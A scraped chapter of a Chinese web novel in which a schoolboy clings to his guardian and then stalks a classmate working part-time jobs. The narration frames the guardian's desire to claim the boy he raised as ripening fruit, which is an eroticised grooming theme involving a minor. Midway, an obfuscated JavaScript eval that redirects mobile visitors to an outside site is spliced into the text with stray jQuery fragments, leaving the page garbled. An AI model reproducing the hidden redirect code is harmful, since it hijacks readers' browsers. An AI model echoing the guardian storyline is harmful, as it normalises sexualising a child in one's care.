13. 泪失禁13
作品:《恶劣美人又被嬷了[快穿]》 很快,顾宸就结束了电话。
怀里的少年犹如八爪鱼般,不仅要坐在他大腿上,还要把尖尖的下巴用力戳进他的颈窝。
若是其他人,被这么紧紧抱着,只怕连呼吸都困难。
顾宸冰冷的神情却反而因为时晏的出现而微微放松。
他轻拍了几下时晏的腰,低声道:“怎么了?一回家就风风火火的。”
时晏没说话。
顾宸却敏锐地捕捉到了他的异样,忽地抬手,握着少年的肩膀将人从身上拉开,皱眉,“在学校哭了?”
“没有。”时晏立刻别过头,可带着点闷音的声线却暴露了撒谎的事实。
顾宸却将他别开的脸扳回来,语气发沉,“告诉我,晏晏。”
男人的手掌很大,手背青筋凸起,少年的脸颊在他的衬托下显得愈发小巧,薄嫩的皮肤只轻轻一按很轻易就透出浅淡藕粉色,少年抬起眼,乌黑眼眸被水色浸透,眼尾未曾消退的湿红愈发浓郁。
“又哭了?”
几年过去,顾宸已不似几年前般情绪外露,可此时,他的眼中仍是透出一抹淡淡的愠色,“谁欺负你了,晏晏?”
时晏终于出声了,“都怪你,你找来的那些家教都没用。”
“教了我这么久,考试成绩还是提不上去。”
顾宸道:“好,都怪那些家教。”
顾宸的手穿过少年披散在后腰的乌黑长发,抚摸着他的背,安抚怀中颤抖着哭泣的少年。
“你把他们都解雇,我不要他们教我了。”
顾宸毫不犹豫,“好,全部解雇,换成更有经验的家教。”
可时晏还不满足,泪水不受控制从他眼眶中流出,少年的白皙皮肤被泪水浸润得恍若透明,“顾霜云能考146分,为什么我离130还要差1分?”
顾宸皱眉,“我让霜云下次别考那么高。”
时晏却更不满意了,生气地握拳在顾宸身上捶了一下,“我才不要他让我!”
渐渐地,时晏的心情平稳了下来,冷淡道:“不用找家教了,都是一群没用的东西。”
不能把他教得和顾霜云一样就算了,居然连个穷学生都不如。
时晏又想起了蒋崇予。
神色更阴郁了。
“哥哥,”时晏顺手把玩着顾宸的手指,“有一个穷学生,住在出租屋里,成绩却比有钱人的孩子还好,哥哥说这是为什么呢?”
顾宸淡淡道:“大约是天赋吧。”
时晏却对得到的答案很不满意。
他一下子丢开顾宸的手,生气道:“哥哥的意思是,我天生就不如其他人吗?”
一不高兴,时晏立刻就不想待在顾宸怀里了,离开前还发泄般用小腿狠狠磨过顾宸过于坚硬的大腿。
少年纤细的身影消失在门后。
被丢在书房中的顾宸却僵着身体,脖颈青筋几乎爬上侧脸。
不知过了多久,他才轻泄一口气,后靠在椅背上,他拿起手机,拨了一通电话。
“今天晏晏在学校里发生了什么事,和谁有了交集,一五一十汇报给我。”
随着时间的推移,少年的身形渐渐抽条,青涩的漂亮脸庞变得愈发惑人,仿佛即将熟透的甜美果实。
顾宸像是经年累月守在果树下的果农,察觉到果实即将成熟时,竟然生出了……将果实独吞的欲念。
对亲手养大的孩子动心,若是常人,恐怕会在道德的折磨下选择退缩。
顾宸的道德感却并不强烈。
听着电话那头的汇报,顾宸看着敞开的书房门,目光沉沉。
快了。
很快,他的果实就要成熟了。
*
第二天是周六,刚把几个吃白饭的家教解雇了,时晏便难得有了完整的假期。
但他仍是一大早就起床了,特意穿了防晒衣,戴上长檐的遮阳帽、墨镜和口罩,长长的黑发从墨镜边贴着脸颊垂落,每一寸皮肤都遮得严严实实的。
【……真的要去跟踪蒋崇予吗?】脑海中,一道机械声小心翼翼地再度询问。
【当然要了,我才不信什么天赋不天赋的,】时晏一边调整自己的遮阳帽和墨镜,一边冷哼,【穷人就是会尽自己所有能力往上爬,蒋崇予肯定有什么别人不知道的资源,才能考得这么好。】
时晏忽地一顿,【你不会是想要反悔吧?】
【没有没有,】如今的系统,已经被时晏调教得很听话了,闻言马不停蹄开始解释,【我只是有点担心你,晏晏,那个蒋崇予人高马大的,昨天还那么粗鲁,今天要是被他发现了,被欺负了怎么办?】
时晏沉下脸:【你看不起我的伪装吗?】
好歹他生前也是个演员,出门怎么伪装他还能不知道吗?每次出门,就算周围再热闹,围着的人再多,也没有人认出他是谁,否则他早就被黑粉围攻了。
【……】
看了时晏的“伪装”,系统不由沉默。
借着出门散心的幌子,时晏让顾家司机送自己到学校附近的公园,随后在系统的引导下,朝蒋崇予的所在地靠近。
等看到了蒋崇予,时晏便压下一边细眉,分外不解,【他在干嘛?】
透过蛋糕店的玻璃,时晏看到店内高高大大的蒋崇予穿着围裙,面无表情地切蛋糕胚、为蛋糕铺上奶油,逐渐将普普通通的蛋糕胚做成精致的生日蛋糕。
系统兢兢业业地解说:【在被认回蒋家前,蒋崇予需要连打几份工维持生活,首先第一份工就是在蛋糕店,清晨第一缕阳光刚落下……】
【闭嘴,我没有眼睛吗?】
时晏很郁闷。
原本以为能看到蒋崇予是怎么学习的,结果蒋崇予居然在打工。
不知道他要来跟踪吗,就非得选这天打工?
时晏纠结了一会,还是守在了蛋糕店前。
反正都跟过来了,他就不信蒋崇予会打一天工,一点都不学习。
蛋糕店九点开门,时晏为了更近距离地观察,便趁着有人进店也一块浑水摸鱼进了蛋糕店,找了角落的座位坐下。
才坐下没多久,就有店员过来服务,时晏只顾着盯蒋崇予,便连看都没看,胡乱点了份甜品。
很快,店员就端着餐品过来了,时晏只得停下盯人,中场休息吃蛋糕。
吃蛋糕就得摘口罩,时晏担心身份暴露,便将一旁做装饰的杂志立在面前,这才开始吃蛋糕。
只时晏早已吃惯顾家大厨的精致糕点,根本看不上民间这种卖相一般的蛋糕,现在也只是为了伪装勉强尝一口。
这样想着,时晏却不知不觉将蛋糕吃得一干二净。
好奇怪……怎么会……里面是不是放了什么奇怪的东西……
时晏抿着唇,不敢承认自己居然还想再吃一块。
“客人,蛋糕合口味吗?”
忽然,低哑的声音近距离传来,穿着不合身围裙的高大店员不知何时出现在了时晏身旁,落下的阴影几乎将时晏全部笼罩住。
时晏顿时僵住了身体。
这个蒋崇予怎么走路都没有声音的,是想吓死谁吗?
时晏头脑混乱地想着。
幸好,他只拉开了一点口罩,一察觉到有动静,就立刻把口罩拉上了。
时晏只想让蒋崇予快些走,便随口道:“一般般吧,勉强能吃的水平。”
“不好意思,是哪里需要改进?”
蒋崇予的语调毫无波动,脸上的神情也没有任何变化,仿佛只是普普通通地在询问意见。
时晏只得胡诌了几点意见。
蒋崇予离开后,时晏才松了一口气。
只这口气还没松多久,蒋崇予竟又回来了。
时晏看着被端上桌的芋泥蛋糕和奶茶,压下一边眉毛,“?”
“不好意思客人,这是您的补偿。”
很莫名其妙。
时晏疑惑了一会,还是决定心安理得地接受这白得的蛋糕和奶茶。
这反而说明蒋崇予没认出他,否则怎么可能会送他补偿甜品?
只是……
时晏忍不住问道:“你怎么还在这里?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013353|194166||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>蒋崇予说:“客人还没反馈补偿甜品是否合口味。”
时晏再度拧起眉。
在蒋崇予的注视下,时晏硬着头皮快速拉开一点口罩,将蛋糕叉上的蛋糕快速塞进了嘴里。
雪白下巴一闪而过。
黑色口罩随着咀嚼的动作一鼓一鼓的,长发少年不情不愿地说了句好吃,蒋崇予这才离开。
黑漆漆眼眸瞟过从少年摘下口罩开始,就开始暗中窥伺着少年的客人们。
莫名的危机感不由令他们收回视线。
蒋崇予在蛋糕店的工作一直进行到中午才结束。
像是根本没发现时晏在偷偷观察他一般,正常地做蛋糕、售卖收银与打扫卫生。
至于学习的事,却是一点都没做。
无聊得时晏都趴在桌上打了一会瞌睡。
等蒋崇予在店里吃过午饭,解开身上围裙背上包往外走时,时晏才又精神起来,立刻起身跟了上去。
谁知,蒋崇予走到了个游戏厅,换了店员制服,开始打第二份工了。
时晏只得进了游戏厅,随手兑换了几百个游戏币,一边抓娃娃一边暗中观察蒋崇予。
结果游戏币都花光了,却一个娃娃都没抓出来。
时晏:“……”
他不信邪,又兑换了几百个游戏币。
一整个下午,时晏只抓到一只娃娃。
还是一只眼歪鼻子斜的丑猴子。
时晏盯着那只丑猴子,气得用力踹了机器一脚。
“客人,对机器有什么不满吗?”
时晏被突然响起的声音吓得差点从原地跳起来。
蒋崇予像鬼一样悄无声息又出现在了他身后。
时晏惊疑不定,透过墨镜看了一会蒋崇予,见男生脸上神情没有任何变化,像是根本没认出自己,立刻就冷哼着开始抱怨,“还好意思问?你们店是专门来骗钱的吧,我玩了一下午,才抓了个丑猴子。”
蒋崇予问:“用了多少币?”
时晏根本记不住了,但为了为难蒋崇予,便故意往高了说,“一千个币了,换算成人民币都快一千块了,你们这个游戏厅就是骗子,我要举报你们骗钱……”
他越骂越生气,跟踪了蒋崇予一整天,什么有效信息都没得到就算了,还被该死的娃娃机耍了一下午。
眼眶渐渐发热。
蒋崇予忽然面无表情地点了点头,“确实。”
时晏:“?”
“骂得对。”
时晏:“??”
被蒋崇予不按常理的回应卡了一会,时晏又闷声道:“应和我也没用,反正你们店得赔我……”
蒋崇予毫不犹豫,“好。”
很快,蒋崇予就拿着整整一篮还没拆封的游戏币过来了。
“一万个游戏币,”蒋崇予淡淡道,“你想要什么娃娃?”
时晏呆住了。
……
“写下地址可以直接送到家。”
时晏没写,他根本就没打算把这些娃娃都带回家。
“很抱歉今天没为您提供良好的游玩体验,”蒋崇予声音低沉,“下次来店里,免费送您五千币。”
时晏才不稀罕,他冷哼了一声,抱着装着几十个娃娃的硕大购物袋,转身就走。
一出门他就把几十个娃娃全丢垃圾桶旁了。
想到自己耍了蒋崇予一下午,时晏的心情终于好起来了。
一天下来,除了上午的甜品时晏什么也没吃,此时饿得发慌,也没了继续跟踪蒋崇予的兴致,便在商业街吃了顿饭,准备吃完叫司机来接自己回家。
只是,正在他打电话给司机时,蒋崇予的身影却透过玻璃窗出现在他的视线中。
蒋崇予不是六点就下班了吗?怎么还在这里?
时晏盯着蒋崇予的背影看了一会,却忽地发现,蒋崇予周围竟然还跟着一群流里流气嘻嘻哈哈的青年,神色冷淡地被围着朝阴暗的小巷中走去。
电话那头,司机还在问地址,时晏却改变了主意,挂断电话,快步出店跟了上去。

